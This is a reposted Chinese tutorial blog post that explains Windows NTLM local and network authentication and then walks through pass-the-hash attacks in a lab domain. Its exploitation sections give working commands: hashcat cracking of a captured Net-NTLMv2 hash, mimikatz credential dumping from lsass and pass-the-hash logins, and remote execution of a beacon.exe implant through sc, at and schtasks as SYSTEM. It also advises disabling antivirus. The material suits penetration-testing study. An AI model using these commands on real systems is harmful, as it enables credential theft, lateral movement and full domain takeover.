windows认证机制_NTLM

2023-10-12 03:20
文章标签 windows 认证 机制 ntlm

本文主要是介绍windows认证机制_NTLM,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

      • 概念
      • 本地认证 NTLM
      • LM
      • NTML
      • 原理
      • 网络认证 Net NTLM
      • 实际测试
      • 利用
        • hash传递浏览上传⽂件
        • 使用 mimikatz
      • hash传递获取域控RDP
      • mimikatz工具使用案例

概念

原文参考:xiu --》http://www.xiusafe.com/

域渗透就是基于 windows 域环境的渗透,而域渗透涉及到的技术,如哈希传递(PTH)票据传递(PTT)委派攻击等,都是基于域环境下的认证机制来实现的,这也是为什么要了解 Windows 认证机制的原因之一

Windows 的认证包括三个部分,用户直接操作计算机登陆账户(本地认证),远程连接到工作组中的某个设备(网络认证),登陆到域环境中的某个设备(域认证)
早期SMB协议铭⽂在⽹络上传输数据,后来诞⽣了LM验证机制,LM机制由于过于简
单,微软提出了WindowsNT挑战/响应机制,这就是NTLM

本地认证 NTLM

本地认证十分简单:用户输入密码,系统收到密码后将用户输入的密码计算成 NTLM Hash,然后与 sam 数据库(% SystemRoot%\system32\config\sam)中该用户的哈希比对,匹配则登陆成功,不匹配则登陆失败

NTLM 哈希是一种单向哈希算法,Windows 将用户的密码计算成 NTLM 哈希之后才存储在电脑中

大致的运算流程为:

用户密码->HEX编码->Unicode编码->MD4

LM

在这里插入图片描述

NTML

在这里插入图片描述

本地认证中用来处理用户输入密码的进程即 lsass.exe, 密码会在这个进程中明文保存,供该进程将密码计算成 NTLM Hash
与 sam 进行比对

在渗透测试中,通常可从 Windows 系统中的 SAM 文件和域控的 NTDS.dit 文件中获得所有用户的 hash,通过 Mimikatz 读取 lsass.exe 进程能获得已登录用户的 NTLM hash

原理

哈希传递是能够在不需要账号明⽂密码的情况下完成认证的⼀个技术,⽐如NTLM
Hash、 LM Hash都不需要明⽂密码因此都可以被称为Hash传递攻击。
NTLM验证靠HASH值
1.获得⼀台域主机的权限
2.Dump内存获得⽤⼾hash
3.通过pass the hash尝试登录其他主机
4.继续搜集hash并尝试远程登录
5.直到获得域管理员账⼾hash,登录域控,最终成功控制整个域

1、client发送账户名user到server
2、server判断本地账户名是否存在,没有则失败,有的话生成challenge,查找user
对应的NTLM哈希,使用哈希加密challenge,生成一个net-ntlm hash存在内存中,将
challenge发送给client
3、client接受到challenge以后,将自己的密码转换成NTLM哈希,用生成的哈希加密
challenge生成response,发送response给server
4、server对比自己内存中的net-ntlm hash与client发来的response是否一致
注意:challenge每次认证都不一样,是一个随机生成的16字节随机数,response的形
势与server生成的net-ntlm hash一个格式

通过认证流程我们不难看出,只要有NTLM哈希在⼿,哪怕不知道明⽂密码也可以完
成NTLM的认证

网络认证 Net NTLM

网络认证即在工作组环境下远程登陆另一台电脑所采用的认证机制
Net NTLM 的认证过程分为三步,也叫挑战响应机制:
1 协商
2质询
3 验证
协商:双方确定使用的协议版本,在 NTLM 认证中,NTLM 响应分为 NTLM v1,NTLMv2,NTLM session v2 三种协议,不同协议使用不同格式的 Challenge 和加密算法

所以也就存在不同协议的 Net-NTLM hash,即 Net-NTLM v1 hash,Net-NTLM v2 hash
质询:挑战(Chalenge)/ 响应(Response)认证机制的核

  1. 客户端向服务器端发送用户信息 (用户名) 请求
  1. 服务器接受到请求后,判断本地用户列表是否存在客户端发送的用户名,如果没有返回认证失败,如果有,生成一个 16 位的随机数,被称之为 “Challenge”, 然后使用登录用户名对应的 NTLM Hash 加密 Challenge (16 位随机字符), 生成 Challenge1 保存在内存中。同时,生成 Challenge1 后,将 Challenge (16 位随机字符) 发送给客户端。
  1. 客户端接受到 Challenge 后,使用自己提供的账户的密码转换成对应的 NTLM Hash,然后使用这个 NTLM Hash 加密 Challenge 生成 Response,然后将 Response 发送至服务器端。

验证:在质询完成后,验证结果,是认证的最后一步。
在这里插入图片描述

在这里插入图片描述

服务端收到客户端发送的 Response 后,与之前保存在内存中的 Challenge 比较,如果相等认证通过

其中,经过 NTLM Hash 加密 Challenge 的结果在网络协议中称之为 Net NTLM Hash(不能直接用来进行哈希传递攻击,但可以通过暴力破解来获取明文密码)

实际测试

远程机器:192.168.217.129
用户名:administrator
密码:hongrisec@2020
本地:192.168.217.1

在这里插入图片描述
抓包发现前 4 个包是协商协议版本,从 smb 转为 smbv2
在这里插入图片描述
本地发送质询包,远程机器响应携带 Ntlm Server Challenge 为

8f69a97378430a53

在这里插入图片描述
查看本地发送的第二个质询包,加密后的 challenge 为

0822a40326fd8eab

在这里插入图片描述
Response 数据为

fafc5895fbeff4fb303acf5c74b1424d01010000000000006727da877d95d6010822a40326fd8eab000000000200060047004f00440001000800530054005500310004000e0067006f0064002e006f00720067000300180073007400750031002e0067006f0064002e006f007200670005000e0067006f0064002e006f0072006700070008006727da877d95d60106000400020000000800300030000000000000000100000000200000bebc059df5e1e64f315030ef88a55e04436ab8b916550a10918f2f854dc9144b0a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003200310037002e003100320039000000000000000000

下面,使用 Hashcat 对该 Net-NTLM hash 进行破解
NTLMv2 的格式为:

username::domain:challenge:HMAC-MD5:blob注:challenge为NTLM Server Challenge,domian由数据包内容获得(IP或者机器名)HMAC-MD5对应数据包中的NTProofStr

构造的数据如下:

administrator::god.org:8f69a97378430a53:fafc5895fbeff4fb303acf5c74b1424d:01010000000000006727da877d95d6010822a40326fd8eab000000000200060047004f00440001000800530054005500310004000e0067006f0064002e006f00720067000300180073007400750031002e0067006f0064002e006f007200670005000e0067006f0064002e006f0072006700070008006727da877d95d60106000400020000000800300030000000000000000100000000200000bebc059df5e1e64f315030ef88a55e04436ab8b916550a10918f2f854dc9144b0a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003200310037002e003100320039000000000000000000新建字典添加 hongrisec@2020Hashcat 参数如下:```bash
hashcat -m 5600 administrator::god.org:8f69a97378430a53:fafc5895fbeff4fb303acf5c74b1424d:01010000000000006727da877d95d6010822a40326fd8eab000000000200060047004f00440001000800530054005500310004000e0067006f0064002e006f00720067000300180073007400750031002e0067006f0064002e006f007200670005000e0067006f0064002e006f0072006700070008006727da877d95d60106000400020000000800300030000000000000000100000000200000bebc059df5e1e64f315030ef88a55e04436ab8b916550a10918f2f854dc9144b0a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003200310037002e003100320039000000000000000000 password.list -o result.txt --force

说明:

-m:hash-type,5600 对应 NetNTLMv2,详细参数可查表:https://hashcat.net/wiki/doku.php?-o:输出文件 字典文件为 password.list–force 代表强制执行,测试系统不支持 Intel OpenCL成功破解出登录的明文密码,输出如下图

在这里插入图片描述
成功破解出密码 hongrisec@2020

工作组环境和域环境下 Net NTLM 认证过程因为有 DC(域控制器)的参与流程略有差异,不过不影响进行哈希传递攻击

利用

hash传递浏览上传⽂件

注意:

当域内的⽤⼾想要访问域中的某个服务时,输⼊⽤⼾名和密码访问,本机kerberos服
务会向KDC的AS认证服务发送⼀个AS-REQ认证请求。该请求包中包含: 请求的⽤⼾
名、客⼾端主机名、加密类型 和 Authenticator(⽤⼾NTLM Hash加密的时间戳)以及
⼀些其他信息
在AS-REQ阶段,是⽤⽤⼾密码Hash加密的Authenticator,所以也就造成了hash传
递。我们只需要获取域⽤⼾Hash,同时⽬标机器开放smb服务,就可以进⾏Hash传
递攻击。

使用 mimikatz

注意mimikatz(猕猴桃)容易崩溃,操作过程要快

privilege::debug 提升权限(注:需以管理员权
限运行)
sekurlsa::logonpasswords 获取内存中保存的登录信息# pth指passha要进行传递(test.com)
sekurlsa::pth /user:administrator /domain:域名  /ntlm:4026ebdb8a9805d4a7b341a23077275a 弹出新窗口
dir \\10.10.10.254\c$

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

#sc命令创建计划任务
copy beacon.exe \\10.10.10.254\c$
#sc命令远程创建名为test的服务
sc \\10.10.10.254 create test binpath= "c:\beacon.exe"
#远程查询名为test的服务
sc \\10.10.10.254 query test
#远程启动名为test的服务
sc \\10.10.10.254 start test
#远程删除名为test的服务
sc \\10.10.10.254 delete test
#at命令(计划任务) at命令在早期的Windows系统中⽀持,⽽新版本Windows已经⽤
schtasks命令取代at命令了。
#查看⽬标系统时间
net time \\10.10.10.254
#将本⽬录下的指定⽂件复制到⽬标系统中
copy vps.exe \10.10.10.254\c$
#使⽤at创建计划任务
at \10.10.10.254 14:37 C:\vps.exe
#清除at记录
at \10.10.10.254 做业ID /delete
#使⽤at命令执⾏,将执⾏结果写⼊本地⽂本⽂件,再使⽤type命令查看该⽂件的内容
at \10.10.10.254 17:00:00 cmd.exe /c "ipconfig > C:/1.txt "
#查看⽣成的1.txt⽂件
type \10.10.10.254\C$\1.txt
#schtasks命令(计划任务)
#在⽬标主机10.10.10.254上创建⼀个名为test的计划任务,启动权限为system,启动
时间为每隔⼀⼩时启动⼀次
schtasks /create /s 10.10.10.254 /tn test /sc HOURLY /mo 1 /tr
c:\beacon.exe /ru system /f /U administrator /P 1234.com
其他启动时间参数:
/sc HOURLY 每⼩时启动⼀次
/sc onlogon ⽤户登录时启动
/sc onstart 系统启动时启动
/sc onidle 系统空闲时启动
#查询该test计划任务
schtasks /query /s 10.10.10.254 /U administrator -P 1234.com |
findstr test
#启动该test计划任务
schtasks /run /s 10.10.10.254 /i /tn "test" /U administrator -P
1234.com
#删除该test计划任务
schtasks /delete /s 10.10.10.254 /tn "test" /f /U administrator -P
1234.com

hash传递获取域控RDP

privilege::debug
sekurlsa::pth /user:administrator /domain:xiusafe.com
/ntlm:a803cf45d87009c404eb89df4b1ae94c "/run:mstsc.exe
/restrictedadmin"

在这里插入图片描述0
如果域控这个位置是灰⾊那就不允许这种⽅式登录

mimikatz工具使用案例

此工具没有免杀,关闭所有的杀毒软件
在这里插入图片描述

这篇关于windows认证机制_NTLM的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/192896

相关文章

Windows环境下解决Matplotlib中文字体显示问题的详细教程

《Windows环境下解决Matplotlib中文字体显示问题的详细教程》本文详细介绍了在Windows下解决Matplotlib中文显示问题的方法,包括安装字体、更新缓存、配置文件设置及编码調整,并... 目录引言问题分析解决方案详解1. 检查系统已安装字体2. 手动添加中文字体(以SimHei为例)步骤

Android ClassLoader加载机制详解

《AndroidClassLoader加载机制详解》Android的ClassLoader负责加载.dex文件,基于双亲委派模型,支持热修复和插件化,需注意类冲突、内存泄漏和兼容性问题,本文给大家介... 目录一、ClassLoader概述1.1 类加载的基本概念1.2 android与Java Class

Spring事务传播机制最佳实践

《Spring事务传播机制最佳实践》Spring的事务传播机制为我们提供了优雅的解决方案,本文将带您深入理解这一机制,掌握不同场景下的最佳实践,感兴趣的朋友一起看看吧... 目录1. 什么是事务传播行为2. Spring支持的七种事务传播行为2.1 REQUIRED(默认)2.2 SUPPORTS2

MySQL中的锁机制详解之全局锁,表级锁,行级锁

《MySQL中的锁机制详解之全局锁,表级锁,行级锁》MySQL锁机制通过全局、表级、行级锁控制并发,保障数据一致性与隔离性,全局锁适用于全库备份,表级锁适合读多写少场景,行级锁(InnoDB)实现高并... 目录一、锁机制基础:从并发问题到锁分类1.1 并发访问的三大问题1.2 锁的核心作用1.3 锁粒度分

Redis的持久化之RDB和AOF机制详解

《Redis的持久化之RDB和AOF机制详解》:本文主要介绍Redis的持久化之RDB和AOF机制,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录概述RDB(Redis Database)核心原理触发方式手动触发自动触发AOF(Append-Only File)核

基于Python开发Windows屏幕控制工具

《基于Python开发Windows屏幕控制工具》在数字化办公时代,屏幕管理已成为提升工作效率和保护眼睛健康的重要环节,本文将分享一个基于Python和PySide6开发的Windows屏幕控制工具,... 目录概述功能亮点界面展示实现步骤详解1. 环境准备2. 亮度控制模块3. 息屏功能实现4. 息屏时间

在Windows上使用qemu安装ubuntu24.04服务器的详细指南

《在Windows上使用qemu安装ubuntu24.04服务器的详细指南》本文介绍了在Windows上使用QEMU安装Ubuntu24.04的全流程:安装QEMU、准备ISO镜像、创建虚拟磁盘、配置... 目录1. 安装QEMU环境2. 准备Ubuntu 24.04镜像3. 启动QEMU安装Ubuntu4

Windows下C++使用SQLitede的操作过程

《Windows下C++使用SQLitede的操作过程》本文介绍了Windows下C++使用SQLite的安装配置、CppSQLite库封装优势、核心功能(如数据库连接、事务管理)、跨平台支持及性能优... 目录Windows下C++使用SQLite1、安装2、代码示例CppSQLite:C++轻松操作SQ

PostgreSQL中MVCC 机制的实现

《PostgreSQL中MVCC机制的实现》本文主要介绍了PostgreSQL中MVCC机制的实现,通过多版本数据存储、快照隔离和事务ID管理实现高并发读写,具有一定的参考价值,感兴趣的可以了解一下... 目录一 MVCC 基本原理python1.1 MVCC 核心概念1.2 与传统锁机制对比二 Postg

基于Python实现一个Windows Tree命令工具

《基于Python实现一个WindowsTree命令工具》今天想要在Windows平台的CMD命令终端窗口中使用像Linux下的tree命令,打印一下目录结构层级树,然而还真有tree命令,但是发现... 目录引言实现代码使用说明可用选项示例用法功能特点添加到环境变量方法一:创建批处理文件并添加到PATH1